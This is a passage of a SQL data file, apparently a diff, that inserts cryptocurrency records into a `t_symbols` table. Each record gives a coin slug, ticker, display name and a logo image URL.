`t_symbols` VALUES (2381, 'bidipass', 'BDP', 'BidiPass', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bidipass.png', NULL); +INSERT INTO `t_symbols` VALUES (2382, 'mercury', 'MER', 'Mercury', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mercury.png', NULL); +INSERT INTO `t_symbols` VALUES (2383, 'dorado', 'DOR', 'Dorado', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dorado.png', NULL); +INSERT INTO `t_symbols` VALUES (2384, 'yfox-finance', 'YFOX', 'YFOX Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yfox-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (2385, 'pascal-lite', 'PASL', 'Pascal Lite', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pascal-lite.png', NULL); +INSERT INTO `t_symbols` VALUES (2386, 'briacoin', 'BRIA', 'BriaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/BriaCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2387, 'distributed-energy-coin', 'DEC', 'Distributed Energy Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/distributed-energy-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2388, 'xio', 'XIO', 'Blockzero Labs', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xio.png', NULL); +INSERT INTO `t_symbols` VALUES (2389, 'portal', 'PORTAL', 'Portal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/portal.png', NULL); +INSERT INTO `t_symbols` VALUES (2390, 'dogdata', 'ETHBN', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/.png', NULL); +INSERT INTO `t_symbols` VALUES (2391, 'soferox', 'SFX', 'Soferox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/soferox.png', NULL); +INSERT INTO `t_symbols` VALUES (2392, 'facts', 'BKC', 'FACTS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/a546bc7af4c04147c096b9171487012b.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2393, 'teslacoin', 'TES', 'Teslacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/teslacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2394, 'posw-coin', 'POSW', 'PoSW Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/posw-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2395, 'alpha-token', 'A', 'Alpha Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alpha-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2396, 'ees', 'EES', 'ees', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ees.png', NULL); +INSERT INTO `t_symbols` VALUES (2397, 'all-sports', 'SOC', 'All Sports', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/all-sports.png', NULL); +INSERT INTO `t_symbols` VALUES (2398, 'golos', 'GOLOS', 'Golos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/golos.png', NULL); +INSERT INTO `t_symbols` VALUES (2399, 'waletoken', 'WTN', 'Wale', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/waletoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2400, 'ylc', 'YLC', 'YOLOCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ylc.png', NULL); +INSERT INTO `t_symbols` VALUES (2401, 'privatix', 'PRIX', 'Privatix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/privatix.png', NULL); +INSERT INTO `t_symbols` VALUES (2402, 'yocoin', 'YOC', 'Yocoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2403, 'black-hole-coin', 'BHC', 'black-hole-coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/black-hole-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2404, 'ethergem', 'EGEM', 'EtherGem', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethergem.png', NULL); +INSERT INTO `t_symbols` VALUES (2405, 'masternodecoin', 'MTNC', 'Masternodecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/masternodecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2406, 'cvcoin', 'CVN', 'CVCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cvcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2407, 'gamestars', 'GST', 'Game Stars', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gamestars.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2408, 'akropolis-delphi', 'ADEL', 'Delphi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/akropolis-delphi.png', NULL); +INSERT INTO `t_symbols` VALUES (2409, 'escroco-emerald', 'ESCE', 'Escroco Emerald', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/escroco-emerald.png', NULL); +INSERT INTO `t_symbols` VALUES (2410, 'eureka-coin', 'ERK', 'Eureka Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eureka-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2411, 'eztoken', 'EZT', 'EZToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eztoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2412, 'ehalal', 'HAL', 'ehalal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ehalal.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2413, 'nusd', 'NUSD-EXCLUDE', 'Neutral Dollar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nusd.png', NULL); +INSERT INTO `t_symbols` VALUES (2414, 'nectar', 'NEC', 'Nectar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nectar.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2415, 'ethbits', 'ETBS', 'Ethbits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethbits.png', NULL); +INSERT INTO `t_symbols` VALUES (2416, 'bitgear', 'GEAR', 'Bitgear', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitgear.png', NULL); +INSERT INTO `t_symbols` VALUES (2417, '1x2-coin', '1X2', '1X2 COIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/1x2-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2418, 'crowd-machine', 'CMCT', 'Crowd Machine', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crowd-machine.png', NULL); +INSERT INTO `t_symbols` VALUES (2419, 'pps', 'PPS', 'Prophet Set', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pps.png', NULL); +INSERT INTO `t_symbols` VALUES (2420, 'energo', 'TSL', 'Tesla TSL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/energo.png', NULL); +INSERT INTO `t_symbols` VALUES (2421, 'befc', 'BEFC', 'befc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/befc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2422, 'social-lending-network', 'SLT', 'SLT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/social-lending-network.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2423, 'blocklancer', 'LNC', 'Blocklancer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blocklancer.png', NULL); +INSERT INTO `t_symbols` VALUES (2424, 'nullex', 'NLX', 'NulleX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nullex.png', NULL); +INSERT INTO `t_symbols` VALUES (2425, '300-token', '300', '300 Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/300-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2426, 'b3coin', 'KB3', 'B3Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/b3coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2427, 'abx', 'ABX', 'Arbidex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/abx.png', NULL); +INSERT INTO `t_symbols` VALUES (2428, 'odem', 'ODE', 'ODEM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/odem.png', NULL); +INSERT INTO `t_symbols` VALUES (2429, 'steepcoin', 'STEEP', 'SteepCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/steepcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2430, 'seal-network', 'SEAL', 'Seal Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/seal-network.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2431, 'reecore', 'REEX', 'Reecore', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/reecore.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2432, 'platinumbar', 'XPTX', 'PlatinumBAR', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/platinumbarxptx.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2433, 'mxm', 'MXM', 'MaxiMine', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mxm.png', NULL); +INSERT INTO `t_symbols` VALUES (2434, 'webflixtoken', 'WFX', 'WebFlix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/webflixtoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2435, 'nyxcoin', 'NYX', 'NYXCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nyxcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2436, 'flixxo', 'FLIXX', 'Flixxo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flixxo.png', NULL); +INSERT INTO `t_symbols` VALUES (2437, 'degenvc', 'DGVC', 'DegenVC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/degenvc.png', NULL); +INSERT INTO `t_symbols` VALUES (2438, 'plancoin', 'PLAN', 'Plancoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/plancoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2439, 'bitsilver', 'BITSILVER', 'bitSilver', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2440, 'firstcoin', 'FRST', 'FirstCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/firstcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2441, 'unify', 'UNIFY', 'Unify', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unify.png', NULL); +INSERT INTO `t_symbols` VALUES (2442, 'skym', 'SKYM', 'SkyMap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skym.png', NULL); +INSERT INTO `t_symbols` VALUES (2443, 'bounty0x', 'BNTY', 'Bounty0x', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bounty0x.png', NULL); +INSERT INTO `t_symbols` VALUES (2444, 'fxpay', 'FXP', 'FXPay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fxpay.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2445, 'cexcoin', 'CEX', 'cexcoin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2446, 'gems-protocol', 'GEM', 'Gems', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gems-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (2447, 'ormeus-coin', 'ORME', 'Ormeus Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ormeus-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2448, 'entercoin', 'ENTRC', 'EnterCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/entercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2449, 'bitcoin-classic', 'BXC', 'Bitcoin Classic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-classic.png', NULL); +INSERT INTO `t_symbols` VALUES (2450, 'amon', 'AMN', 'Amon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amon.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2451, 'nxct', 'NXCT', 'XChain Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nxct.png', NULL); +INSERT INTO `t_symbols` VALUES (2452, 'thetimeschaincoin', 'TTC', 'TheTimesChainCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thetimeschaincoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2453, 's4fe', 'S4F', 'S4FE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/s4fe.png', NULL); +INSERT INTO `t_symbols` VALUES (2454, 'mfcoin', 'MFC', 'MFCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mfcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2455, 'jsecoin', 'JSE', 'JSEcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jsecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2456, 'bitgold', 'BITGOLD', 'bitGold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitgold.png', NULL); +INSERT INTO `t_symbols` VALUES (2457, 'devery', 'EVE', 'Devery', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/devery.png', NULL); +INSERT INTO `t_symbols` VALUES (2458, 'helbiz', 'HBZ', 'Helbiz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hbz-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2459, 'mybit-token', 'MYB', 'MyBit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mybit-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2460, 'wisepass', 'PASS', 'Blockpass', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wisepass.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2461, 'campuscoin', 'CMPCO', 'CampusCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/CampusCoinORG.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2462, 'zurcoin', 'ZUR', 'Zurcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zurcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2463, 'helium', 'HLM', 'Helium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/helium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2464, 'polis', 'POLIS', 'Polis', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polis.png', NULL); +INSERT INTO `t_symbols` VALUES (2465, 'cryptodezirecash', 'CDZC', 'CryptoDezireCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptodezirecash.png', NULL); +INSERT INTO `t_symbols` VALUES (2466, 'mesh-network', 'MTC', 'MTC Mesh Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mesh-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2467, 'uptrennd', '1UP', 'Uptrennd', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uptrennd.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2468, 'giant-coin', 'GIC', 'Giant', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/giant-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2469, 'all-best-ico', 'ALLBI', 'ALL BEST ICO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/all-best-ico.png', NULL); +INSERT INTO `t_symbols` VALUES (2470, 'echolink', 'EKO', 'EchoLink', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/echolink.png', NULL); +INSERT INTO `t_symbols` VALUES (2471, 'impleum', 'IMPL', 'Impleum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/impleum.png', NULL); +INSERT INTO `t_symbols` VALUES (2472, 'more', 'MORE', 'More Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/more.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2473, 'totem', 'TOTM', 'TotemFi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/totem.png', NULL); +INSERT INTO `t_symbols` VALUES (2474, 'bitwhite', 'BTW', 'BitWhite', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitwhite.png', NULL); +INSERT INTO `t_symbols` VALUES (2475, 'ethereum-cloud', 'ETY', 'ETY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-cloud.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2476, 'davinci-coin', 'DAC', 'Davinci Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/davinci-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2477, 'nitrogentoken', 'NITRO', 'nitrogentoken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nitrogentoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2478, 'cnct', 'CNCT', 'Connect', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cnct.png', NULL); +INSERT INTO `t_symbols` VALUES (2479, 'lunyr', 'LUN', 'LunarBrain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lunyr.png', NULL); +INSERT INTO `t_symbols` VALUES (2480, 'gamesky', 'SKY', 'gamesky', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2481, 'regalcoin', 'REC', 'Regalcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/regalcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2482, 'ardana-token', 'DANA', 'Ardana', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/ardana.png', NULL); +INSERT INTO `t_symbols` VALUES (2483, 'blazecoin', 'BLZ', 'BlazeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blazecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2484, 'digiwage', 'WAGE', 'Digiwage', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digiwage.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2485, 'faceter', 'FACE', 'Faceter', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/faceter.png', NULL); +INSERT INTO `t_symbols` VALUES (2486, 'hotelload', 'HLL', 'hotelload', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hotelload.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2487, 'octoin-coin', 'OCC', 'Octoin Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/octoin-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2488, 'unibot-cash', 'UNDB', 'UniDexBot', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unibot-cash.png', NULL); +INSERT INTO `t_symbols` VALUES (2489, 'skincoin', 'SKIN', 'SkinCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skincoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2490, 'sgpay', 'SGP', 'SGPay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sgpay.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2491, 'ripto-bux', 'RBX', 'Ripto Bux', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/riptobux.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2492, 'roulettetoken', 'RLT', 'RouletteToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/roulettetoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2493, 'lunch-money', 'LMY', 'Lunch Money', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lunch-money.png', NULL); +INSERT INTO `t_symbols` VALUES (2494, 'granitecoin', 'GRN', 'GraniteCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/granitecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2495, 'musiconomi', 'MCI', 'MCI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/musiconomi.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2496, 'rubies', 'RBIES', 'Rubies', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rubies.png', NULL); +INSERT INTO `t_symbols` VALUES (2497, 'krypton-galaxy-coin', 'KGC', 'Krypton Galaxy Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/krypton-galaxy-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2498, 'truedeck', 'TDP', 'TrueDeck', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/truedeck.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2499, 'cowry', 'COW', 'COWRY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cowry.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2500, 'votecoin', 'VOT', 'VoteCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/vote_coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2501, 'coinchase', 'CCH', 'Coinchase Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinchase.png', NULL); +INSERT INTO `t_symbols` VALUES (2502, 'thm', 'THM', 'Themis Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thm.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2503, 'synthetify-token', 'SNY', 'Synthetify', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/synthetify-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2504, 'ultragate', 'ULG', 'Ultragate', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ultragate.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2505, 'desire', 'DSR', 'Desire', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/desire.png', NULL); +INSERT INTO `t_symbols` VALUES (2506, 'parkbyte', 'PKB', 'ParkByte', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/ParkByte_PKB.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2507, 'pirl', 'PIRL', 'Pirl', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/PirlOfficial.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2508, 'lkn', 'LKN', 'LinkCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lkn.png', NULL); +INSERT INTO `t_symbols` VALUES (2509, 'coin2-1', 'C2', 'Coin2.1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coin2-1.png', NULL); +INSERT INTO `t_symbols` VALUES (2510, 'revolvercoin', 'XRE', 'RevolverCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/revolvercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2511, 'vostoken', 'VOST', 'vostoken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vostoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2512, 'void-token', 'VOID', 'Void Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/void-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2513, 'selfsell', 'SSC', 'SelfSell', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/selfsell.png', NULL); +INSERT INTO `t_symbols` VALUES (2514, 'hellogold', 'HGT', 'HelloGold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hellogold.png', NULL); +INSERT INTO `t_symbols` VALUES (2515, 'micromoney', 'AMM', 'MicroMoney', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/micromoney.png', NULL); +INSERT INTO `t_symbols` VALUES (2516, 'zuflo-coin', 'ZFL', 'Zuflo Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zuflo-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2517, 'cubiex', 'CBIX', 'Cubiex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/6edb20fbfa6809156328281a5c4bac95.png', NULL); +INSERT INTO `t_symbols` VALUES (2518, 'ginseng-chain', 'GST', 'ginseng-chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ginseng-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (2519, 'biotron', 'BTRN', 'Biotron', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/biotron.png', NULL); +INSERT INTO `t_symbols` VALUES (2520, 'xmct', 'XMCT', 'XMCT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xmct.png', NULL); +INSERT INTO `t_symbols` VALUES (2521, 'gimli', 'GIM', 'Gimli', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gimli.png', NULL); +INSERT INTO `t_symbols` VALUES (2522, 'translateme-network-token', 'TMN', 'TranslateMe Network Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/translateme-network-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2523, 'global-tour-coin', 'GTC', 'Global Tour Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/globaltourcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2524, 'dragon-coins', 'DRG', 'Dragon Coins', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dragon-coins.png', NULL); +INSERT INTO `t_symbols` VALUES (2525, 'globaltoken', 'GLT', 'GlobalToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/globaltoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2526, 'onix', 'ONX', 'Onix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/onix.png', NULL); +INSERT INTO `t_symbols` VALUES (2527, 'data', 'DTA', 'DATA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/data.png', NULL); +INSERT INTO `t_symbols` VALUES (2528, 'sense', 'SENSE', 'Sense', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sense.png', NULL); +INSERT INTO `t_symbols` VALUES (2529, 'postcoin', 'POST', 'PostCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/postcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2530, 'ixledger', 'IXT', 'iXledger', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ixledger.png', NULL); +INSERT INTO `t_symbols` VALUES (2531, 'version', 'V', 'Version', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/VersionCrypto.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2532, 'bitcapitalvendor', 'BCV', 'BitCapitalVendor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcapitalvendor.png', NULL); +INSERT INTO `t_symbols` VALUES (2533, 'korecoin', 'KORE', 'KoreCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/korecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2534, 'cryptojacks', 'CJ', 'Cryptojacks', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptojacks.png', NULL); +INSERT INTO `t_symbols` VALUES (2535, 'bridge-protocol', 'BRDG', 'Bridge Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bridge-protocol.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2536, 'mobilego', 'MGO', 'MobileGo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/mobilegotoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2537, 'sdusd', 'SDUSD', 'SDUSD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sdusd.png', NULL); +INSERT INTO `t_symbols` VALUES (2538, 'proxynode', 'PRX', 'ProxyNode', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/proxynode.png', NULL); +INSERT INTO `t_symbols` VALUES (2539, 'kurrent', 'KURT', 'Kurrent', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kurrent.png', NULL); +INSERT INTO `t_symbols` VALUES (2540, 'liquidity-dividends-protocol', 'LID', 'Liquidity Dividends Protocol', 